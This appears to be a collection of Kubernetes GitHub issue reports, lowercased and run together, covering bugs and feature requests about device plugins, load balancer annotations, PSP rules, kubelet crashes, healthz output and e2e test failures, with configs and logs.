is this a bug report or feature request?  :\r \r   /area hw-accelerators\r \r   what happened  :\r at the moment device plugin apis in terms of  allocate  call has no information about workload that is requesting particular hw device.\r \r   what you expected to happen  :\r \r we would like to have in  allocate  call to get more information from pod spec. at minimum it should be pod/container annotations, ideally it can be full spec.\r \r usage scenarios for that:\r - development and debugging: annotations can trigger some development behavior inside device plugins  e.g. additional logging, experimental features \r - flexibility: some devices might have fine-tune switches  e.g. power management, frequency scaling, etc  that are not exported as extended resource and may not be exported in the future. device plugin can handle or can ignore such optional fine-tune switches.\r - providing right set of additional libraries, based on workload in the containers  e.g. opencl or cuda or similar libraries built against glibc or musl. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r cc: @renaudwastaken @ns-sundar @sameo \r

the  doc  https://github.com/kubernetes/kubernetes/blob/ed9b25c90241b2b8a1fa10b96381c57f99ca952a/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/types.go l168  said:\r    \r put requests to the /status subresource take a custom resource object and ignore changes to anything except the status stanza.\r    \r \r however the  codes  https://github.com/kubernetes/kubernetes/blob/ed9b25c90241b2b8a1fa10b96381c57f99ca952a/staging/src/k8s.io/apiextensions-apiserver/pkg/registry/customresource/status_strategy.go l42  are different, it does not allow to set spec and metadata, but other changes are not ignored. and updates to other parts are  not  validated.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r i added the annotation \r  service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled \r to a loadbalancer service which has the following annotation to make it internal:\r  service.beta.kubernetes.io/aws-load-balancer-internal:  0.0.0.0/0 \r this then caused the load balancer to be destroyed and an external one put in its place. it also prevented our external dns service  registry.opensource.zalan.do/teapot/external-dns:v0.5.3  from being able to create the route53 records. \r \r   what you expected to happen  :\r cross zone load balancing to be enabled on the existing load balancer  we woudn't have minded if a replacement internal load balancer was created also \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kind: service\r apiversion: v1\r metadata:\r   name: traefik-ingress-service\r   namespace: kube-system\r   annotations:\r     prometheus.io/scrape: 'true'\r     service.beta.kubernetes.io/aws-load-balancer-backend-protocol: \ http\ \r     external-dns.alpha.kubernetes.io/hostname: blah.com\r     service.beta.kubernetes.io/aws-load-balancer-internal:  0.0.0.0/0\r     service.beta.kubernetes.io/aws-load-balancer-ssl-cert: blah\r     service.beta.kubernetes.io/aws-load-balancer-backend-protocol: tcp\r     service.beta.kubernetes.io/aws-load-balancer-ssl-ports: web\r     service.beta.kubernetes.io/aws-load-balancer-proxy-protocol: ' '\r     external-dns.alpha.kubernetes.io/ttl: '60'\r spec:\r   type: loadbalancer\r   selector:\r     k8s-app: traefik-ingress-lb\r   ports:\r     - protocol: tcp\r       port: 443\r       targetport: 82\r       name: web\r     - protocol: tcp\r       port: 9090\r       targetport: 9090\r       name: blah\r    \r replace blah above with real values. \r \r   anything else we need to know?  :\r the above is intended to create a load balancer with an ssl tcp listener, not https\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: aws ec2  not eks \r - os  e.g. from /etc/os-release : centos linux 7  core    centos 7.4 \r - kernel  e.g.  uname -a  : 4.9.77-31.58.amzn1.x86_64   yes that is correct \r - install tools: yum\r - others:\r

i go with\r  \r but can be considered feature request too.\r this might be a bit controversal, otherwise i would have submitted a pr right away.\r \r   what happened  :\r i've created an ingress with a rule which has a name which consists of dns labels with more than 63 characters.\r the kubernetes api created the ingress as expected but external-dns failed to create the dns name because dns names with labels with more than 63 characters aren't allowed: https://tools.ietf.org/html/rfc1034 section-3.5\r \r > labels must be 63 characters or less.\r \r   what you expected to happen  :\r \r kubernetes should only accept ingress objects with valid dns names since it would make it much easier to catch issues with  e.g generated  manifests.\r

testgrid:\r \r      https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-default\r      https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-cos-master-default\r      https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel\r      https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-new-parallel\r \r sample failures:\r \r   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/31199\r   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new-parallel/82\r \r this started failing across multiple test jobs last night.  the culprit appears to be pr  69441 \r \r @mkimuram @msau42 @davidz627 over to you.  \r \r  /  \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : followed the documentation on  psp runasgroup  https://kubernetes.io/docs/concepts/policy/pod-security-policy/ users-and-groups  rules to limit group id's to non-superuser  root  using the  mustrunasnonroot  rule. the creation attempt failed with:\r    \r the podsecuritypolicy \\\ ibm-restricted-psp\\\  is invalid: spec.runasgroup.rule: unsupported value: \\\ mustrunasnonroot\\\ : supported values: \\\ mustrunas\\\ , \\\ runasany\\\ , \\\ mayrunas\\\ \  \r    \r from psp yaml:\r    \r   runasgroup:\r     rule: 'mustrunasnonroot'\r    \r \r   what you expected to happen  : successfully create a new psp for non-superuser  root  group privileges using available rule values  which actually seems to be  mustrunas ,  mayrunas ,  runasany  according the the  api code  https://github.com/kubernetes/api/blob/f34d25ed03b6a1ade5115e61bfe61b8a60efd865/policy/v1beta1/types.go l388-l400  \r \r   how to reproduce it  as minimally and precisely as possible   : attempt to create a psp with a  runasgroup  rule set to  mustrunasnonroot \r \r   anything else we need to know?  : i don't think so\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.14.0 , looks to affect  v1.13 , and  v1.12  doc as well\r - cloud provider or hardware configuration: ibm cloud\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux verify-cluster 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

a kubernetes planetplanet/venus instance would be great.\r \r are there plans to bring planet.kubernetes.io to life?

\ kubectl create service\  only supports tcp port. we should allow it to support udp port.\r  --tcp=  : port pairs can be specified as '<port>:<targetport>'. \r \r two possible ways to modify flag. i'd prefer the latter one.\r - add a flag  --udp  which is similar to  --tcp \r - change flag  --tcp  to  --ports  which has format  <protocol>:<port>:<targetport> \r \r do i miss anything?\r \r /cc @thockin @adohe \r   /assign @xiangpengzhao

is this a bug report or feature request?  :\r  \r   what happened  :\r testing bringing up k8s cluster using kubeadm from latest k8s code from master branch.\r kubelet is not coming up and below is the errors from syslog:\r    \r aug 20 17:32:32 ubuntu startupscript: + systemctl start kubelet\r aug 20 17:32:32 ubuntu systemd 1 : started kubelet: the kubernetes node agent.\r aug 20 17:32:33 ubuntu kubelet 5522 : 2017/08/20 17:32:33 proto: duplicate proto type registered: google.protobuf.any\r aug 20 17:32:33 ubuntu kubelet 5522 : 2017/08/20 17:32:33 proto: duplicate proto type registered: google.protobuf.duration\r aug 20 17:32:33 ubuntu kubelet 5522 : 2017/08/20 17:32:33 proto: duplicate proto type registered: google.protobuf.timestamp\r aug 20 17:32:33 ubuntu kubelet 5522 : i0820 17:32:33.336515    5522 feature_gate.go:150  feature gates: map  \r aug 20 17:32:34 ubuntu kubelet 5522 : panic: runtime error: invalid memory address or nil pointer dereference\r aug 20 17:32:34 ubuntu kubelet 5522 :  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x2b9a0e5 \r aug 20 17:32:34 ubuntu kubelet 5522 : goroutine 1  running :\r aug 20 17:32:34 ubuntu kubelet 5522 : main.main  \r aug 20 17:32:34 ubuntu kubelet 5522 :  011cmd/kubelet/kubelet.go:101 +0x3e5\r aug 20 17:32:34 ubuntu systemd 1 : kubelet.service: main process exited, code=exited, status=2/invalidargument\r aug 20 17:32:34 ubuntu systemd 1 : kubelet.service: unit entered failed state.\r aug 20 17:32:34 ubuntu systemd 1 : kubelet.service: failed with result 'exit-code'.\r    \r upon looking at the code from where the error is happening, it is evident that the err checking is missing.\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/kubelet.go l98\r \r   what you expected to happen  : deployment to succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the latest code from k8s and build a k8s release and bring up cluster using kubeadm\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : 16.04 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux e2e-21cc215cd6-master 4.4.0-21-generic  37-ubuntu smp mon apr 18 18:33:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r \r  /cc @pipejakob @luxas

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability-release-1-7/481 failed with:\r    \r i1122 06:26:55.020  nov 22 06:26:55.019: info: created replication controller with name: density2970-0-222dcd85-cf4e-11e7-b9ab-0a580a3c9095, namespace: e2e-tests-density-30-1-047hm, replica count: 2970\r i1122 06:26:55.021  i1122 06:26:55.019230    5858 runners.go:176  created replication controller with name: density2970-0-222dcd85-cf4e-11e7-b9ab-0a580a3c9095, namespace: e2e-tests-density-30-1-047hm, replica count: 2970\r i1122 06:27:04.833  nov 22 06:27:04.833: info: density pods: 227 out of 2970 created, 204 running, 23 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 06:27:14.833  nov 22 06:27:14.833: info: density pods: 427 out of 2970 created, 406 running, 21 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 06:27:24.833  nov 22 06:27:24.833: info: density pods: 622 out of 2970 created, 596 running, 26 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 06:27:34.837  nov 22 06:27:34.837: info: density pods: 822 out of 2970 created, 796 running, 25 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 1 runningbutnotready \r i1122 06:27:44.834  nov 22 06:27:44.834: info: density pods: 1018 out of 2970 created, 999 running, 19 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 06:27:45.032  nov 22 06:27:45.031: info: unexpected error occurred: 1 containers failed which is more than allowed 0\r    \r \r the test does not seem to print which pod failed and why though.\r the following is seen a bit earlier, which might be related:\r    \r i1122 06:26:54.706  nov 22 06:26:54.704: info: condition ready of node e2e-scalability-1-7-minion-group-6vqv is false instead of true. reason: kubeletnotready, message: runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr. warning: cpu hardcapping unsupported\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i had a problem in my cluster which caused the  /healthz  check of the api server to fail. this in turn caused the  kubelet  to keep restarting it.\r \r i logged in to the master node running both and had a look at the log that catches the api server's  stdout  and  stderr .\r \r what i found there was  after unquoting \r \r    \r  + ping ok\r  + poststarthook/generic-apiserver-start-informers ok\r  + poststarthook/start-apiextensions-informers ok\r  + poststarthook/start-apiextensions-controllers ok\r  - poststarthook/bootstrap-controller failed: reason withheld\r  + poststarthook/extensions/third-party-resources ok\r  - poststarthook/ca-registration failed: reason withheld\r  + poststarthook/start-kube-apiserver-informers ok\r  + poststarthook/start-kube-aggregator-informers ok\r  + poststarthook/apiservice-registration-controller ok\r  + poststarthook/apiservice-status-available-controller ok\r  + poststarthook/kube-apiserver-autoregistration ok\r  + autoregister-completion ok\r healthz check failed\r    \r \r   what you expected to happen  :\r \r i hoped to find diagnostic information in the log.  the  reason withheld  felt almost like a slap in the face. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r whether this is reproducible, i don't know, but here is what we did: we messed up our cluster by running an application pod with a bad health check of its own. this was \ deployed\  for a long time.  on that  non-master  node,  docker ps --all  ended up showing a few thousand of shut-down docker containers waiting to be cleaned up. eventually, the problem infected the api server through a mechanism not understood.\r \r but _any_ way to mess up the cluster sufficiently so the api server  /healthz  fails reliably should be sufficient. \r \r   anything else we need to know?  :\r \r i checked the source code and found, in  kubernetes/staging/src/k8s.io/apiserver/pkg/server/healthz/healthz.go :\r \r    \r if check.check r  != nil {\r     // don't include the error since this endpoint is public.  if someone wants more detail\r     // they should have explicit permission to the detailed checks.\r     fmt.fprintf &verboseout, \  - %v failed: reason withheld\ \ , check.name   \r     failed = true\r } else {\r    \r \r i speculate \ detailed checks\  means another rest resource. so i checked the  api ref  https://v1-7.docs.kubernetes.io/docs/api-reference/v1.7/ . but there, i could not find anything pertinent.\r \r from a user experience point of view: a failing  /healthz  check of the api server will  often  result in termination of that server. so the suggestion is to fire an http request against a pod that's in the process of being shut down? to me, the log really does seem like a more appropriate place for such diagnostic information.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.10\ , gitcommit:\ bebdeb749f1fa3da9e1312c4b08e439c404b3136\ , gittreestate:\ clean\ , builddate:\ 2017-11-03t16:31:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r running a  kops  cluster on aws.\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-version\r cat: /etc/os-version: no such file or directory\r    \r ami  k8s-1.7-debian-jessie-amd64-hvm-ebs-2017-07-28  ami-0072de6f  \r - kernel  e.g.  uname -a  :\r 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r - install tools:\r kops\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubectl throws an error about control characters when converting json to yaml or yaml to json.\r \r   what you expected to happen  :\r i expect that the conversion to run properly. i'm mounting the configmap as a volume into a deployment. the data-string a file can contain should not be limited by conversion from one format to another.\r otherwise i would expect the  create configmap  to throw an error or some kind of notification that control characters shouldn't be present in files that are being converted to a configmap. or anything before a conversion takes place.\r \r   how to reproduce it  as minimally and precisely as possible   :\r _json-yaml_\r 1. create a file with control characters in it.\r 2. run  kubectl create configmap genesis --from-file /directory/your/file/is/in \r 3. run 'kubectl get configmap genesis -o yaml'\r 4. error message is shown 'error: error converting json to yaml: %! extra  errors.errorstring=yaml: control characters are not allowed '\r \r _yaml-json_\r 1. create a yaml-file\r 2. create a configmap configuration within the file.\r 3. create a data-key  mine is called genesis.block \r 4. add a data-value containing control characters.\r 5. run  kubectl create -f /yaml/file \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows 10\r - kernel  e.g.  uname -a  :  n/a\r - install tools: minikube\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   /area kubectl\r \r   what happened  :\r \r i ran  kubectl get deploy  while not on a network able to connect to the apiserver, which resulted in \r \r  the server doesn't have a resource type \ deploy\  \r \r if i run it with  --v=6  i see:\r  i0209 10:24:41.786095   37193 cached_discovery.go:124  skipped caching discovery info due to get https://<host>/api: dial tcp <ip>:443: i/o timeout \r \r   what you expected to happen  :\r \r i expect that kubectl would show an error indicating that a timeout occurred so that it's clear to users what actually went wrong. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kubectl with an invalid apiserver. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >   \r \r   what happened  :\r hi,\r i have setup minikube setup and trying to get aem6 author, publish and dispatcher up and running. was successful in bringing up all author, publish and dispatcher in docker. however, when i try to deploy the same in kubernetes, the dispatcher fails with below error. \r \r apache2: syntax error on line 140 of /etc/apache2/apache2.conf: syntax error on line 1 of /etc/apache2/mods-enabled/dispatcher.load: cannot load /aem/dispatcher/module/dispatcher-apache2.4-4.2.3.so into server: libsocket.so.1: cannot open shared object file: no such file or directory\r action '-d foreground' failed. \r \r please can you help on this. i'm using ubuntu to setup the aem6 stack.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r pull https://github.com/adobeatadobe/aem_6-1_docker\r use kompose up to under conposedev-tar to convert the docker to kubernetes deployments\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t21:48:36z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

as of now we have a  kubelet_stats  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/kubelet_stats.go  e2e that collects kubelet stats and dumps them to logs. tracking resource usage in a long term storage will help us track resource overhead for kubelet over time and detect abnormal increase.  one means to store metrics is to use gcm  custom metrics  https://cloud.google.com/monitoring/custom-metrics/  while running the kubelet stats e2e test on gce.  cc @yujuhong

tag is malformed. \ port\  was intended, but we're getting \ port\ .  https://github.com/kubernetes/kubernetes/blob/421249785d15fb7af203a34fd3054a4765b96b67/pkg/api/v1/types.go l2052  @bgrant0607   this seems like something we could catch automatically in the future.

the storage plugin for ceph rbd employs _advisory lock_ mechanism to provide basic fencing for rbd images. lock management is performed with the cli  rbd  command   rbd lock add ,  rbd lock remove  and  rbd lock list  .  unfortunately, _advisory locks_ use the same infrastructure which is necessary to handle images with  exclusive-lock  flag set. that's the default for new rbd images in jewel. actually this isn't an issue as the kernel rbd driver   krbd   doesn't support the feature. however, when  krbd  finally get it   ilya dryomov is working on that  http://www.spinics.net/lists/ceph-devel/msg31216.html  , there might be a problem with mapping those images in the read-write mode.  the same, potential issue  stopped  https://lists.gnu.org/archive/html/qemu-devel/2016-04/msg04131.html  similar fencing solution  proposed to qemu rbd driver  https://lists.gnu.org/archive/html/qemu-devel/2016-04/msg02422.html .

kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.8\ , gitcommit:\ 3040f87c570a772ce94349b379f41f329494a4f7\ , gittreestate:\ clean\ , builddate:\ 2016-09-18t21:06:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.8\ , gitcommit:\ 3040f87c570a772ce94349b379f41f329494a4f7\ , gittreestate:\ clean\ , builddate:\ 2016-09-18t21:00:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\     environment  : -   cloud provider or hardware configuration  : bare metal -   os    e.g. from /etc/os-release : ubuntu 16.04 -   kernel    e.g.  uname -a  :4.5.7-std-3 -   install tools  :  -   others  :    what happened  : kubernetes 1.4.0beta8, 3 masters schedulables + 2 nodes hi, i was trying to re-generate they keys of the cluster   boths ca + api & nodes keys   after regeneration i restart apiservers  systemd  , kubelet   systemd  , controller-managers  deleting the pod, kubelet then use manifest to recreate   and schedulers  deleting the pod, kubelet then use manifest to recreate    the problem that i've found is that the service account keys , gets regenerated by controller managers but still the old one!   many problems around the cluster, one of the biggest is that the whole dns structure is down because kube-dns cannot authenticate     now the bad solution was restarting all the masters   magically things gets solved..   but i don't think that's the design.. so suspected problem that i want to understood..  now the better solution.. that probably evidence the issue is: 1 by one , in all masters, find the kube-controller-manager that is leader, stop the kubelet, stop the controller manager, then wait re-election, and proceed to the next leader, after all kube-controller-managers in masters have gain and lost leadership, the service account token is updated...  controller-manager command line is this one :   /hyperkube controller-manager --master=http://127.0.0.1:8080 --leader-elect=true --enable-hostpath-provisioner=true --service-account-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem --root-ca-file=/etc/kubernetes/ssl/ca.pem --v=2   is this a bug? i'm missing something ? thank you, francesco    what you expected to happen  : controller manager refresh keys without intervention, or at least require only a restart of the pod/process    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-release-1.5/3305/ failed:  k8s.io  generated release_1_5 clientset should create v2alpha1 cronjobs, delete cronjobs, watch cronjobs {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/generated_clientset.go:312 jan 21 05:42:31.497: failed to observe the creation: {error &status{listmeta:listmeta{selflink:,resourceversion:,},status:failure,message:too old resource version: 633  637 ,reason:gone,details:nil,code:410,}} /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/generated_clientset.go:93       previous issues for this test:  37428

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r healthy node notready controller manager kubelet node status\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t02:50:34z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4+coreos.0\ , gitcommit:\ 97c11b097b1a2b194f1eddca8ce5468fcc83331c\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t23:54:21z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r azure standard_a1\r -   os    e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1298.6.0\r version_id=1298.6.0\r build_id=2017-03-14-2119\r pretty_name=\ container linux by coreos 1298.6.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r -   kernel    e.g.  uname -a  :\r linux master-0-vm 4.9.9-coreos-r1  1 smp tue mar 14 21:09:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  :\r https://github.com/edevil/kubernetes-deployment\r -   others  :\r \r \r   what happened  :\r \r nodes are marked as not healthy incorrectly.\r \r   what you expected to happen  :\r \r nodes should not be marked as not healthy.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i just setup a cluster using the aforementioned method and wait.\r \r   anything else we need to know  :\r \r controller manager log on -v=4\r \r    \r i0322 02:35:39.439687       1 nodecontroller.go:713  node node-1-vm readycondition updated. updating timestamp.\r i0322 02:35:39.439935       1 nodecontroller.go:713  node node-2-vm readycondition updated. updating timestamp.\r i0322 02:35:39.440085       1 nodecontroller.go:713  node node-4-vm readycondition updated. updating timestamp.\r i0322 02:35:39.440167       1 nodecontroller.go:713  node master-1-vm readycondition updated. updating timestamp.\r i0322 02:35:39.540323       1 attach_detach_controller.go:540  processvolumesinuse for node \ node-0-vm\ \r i0322 02:35:40.869608       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:41.014154       1 attach_detach_controller.go:540  processvolumesinuse for node \ node-3-vm\ \r i0322 02:35:41.058731       1 reflector.go:392  pkg/controller/informers/factory.go:89: watch close -  extensions.daemonset total 0 items received\r i0322 02:35:42.935111       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:43.414353       1 reflector.go:392  pkg/controller/garbagecollector/garbagecollector.go:768: watch close - <nil> total 0 items received\r i0322 02:35:43.901573       1 attach_detach_controller.go:540  processvolumesinuse for node \ master-0-vm\ \r i0322 02:35:44.478340       1 nodecontroller.go:713  node master-0-vm readycondition updated. updating timestamp.\r i0322 02:35:44.478613       1 nodecontroller.go:713  node node-0-vm readycondition updated. updating timestamp.\r i0322 02:35:44.478780       1 nodecontroller.go:713  node node-3-vm readycondition updated. updating timestamp.\r i0322 02:35:44.961529       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:46.988408       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:49.064564       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:51.103435       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:52.769445       1 reflector.go:273  pkg/controller/resourcequota/resource_quota_controller.go:232: forcing resync\r i0322 02:35:53.178768       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:54.043888       1 reflector.go:273  pkg/controller/volume/persistentvolume/pv_controller_base.go:455: forcing resync\r i0322 02:35:54.043958       1 reflector.go:273  pkg/controller/volume/persistentvolume/pv_controller_base.go:454: forcing resync\r i0322 02:35:54.044629       1 reflector.go:273  pkg/controller/volume/persistentvolume/pv_controller_base.go:159: forcing resync\r i0322 02:35:54.339298       1 reflector.go:392  pkg/controller/garbagecollector/garbagecollector.go:768: watch close - <nil> total 0 items received\r i0322 02:35:55.236004       1 leaderelection.go:203  succesfully renewed lease kube-system/kube-controller-manager\r i0322 02:35:56.013491       1 reflector.go:273  pkg/controller/replication/replication_controller.go:220: forcing resync\r i0322 02:35:57.093825       1 reflector.go:273  pkg/controller/endpoint/endpoints_controller.go:164: forcing resync\r i0322 02:35:57.098093       1 endpoints_controller.go:338  finished syncing service \ trendex/trendex\  endpoints.  3.858837ms \r i0322 02:35:57.098333       1 endpoints_controller.go:338  finished syncing service \ worten-ac-simulator/worten-ac-simulator\  endpoints.  4.338892ms \r i0322 02:35:57.104371       1 endpoints_controller.go:338  finished syncing service \ bitshopping/bitshopping\  endpoints.  9.914215ms \r i0322 02:35:57.105145       1 endpoints_controller.go:338  finished syncing service \ tv-directory/tv-directory\  endpoints.  10.493105ms \r i0322 02:35:57.106587       1 endpoints_controller.go:338  finished syncing service \ roamersapp/roamersapp\  endpoints.  2.172777ms \r i0322 02:35:57.107370       1 endpoints_controller.go:338  finished syncing service \ kube-lego/kube-lego-nginx\  endpoints.  12.568538ms \r i0322 02:35:57.114755       1 endpoints_controller.go:338  finished syncing service \ tvifttt/tviftttapp\  endpoints.  8.124249ms \r i0322 02:35:57.115146       1 endpoints_controller.go:338  finished syncing service \ pixelscamp/pixelscamp\  endpoints.  16.788809ms \r i0322 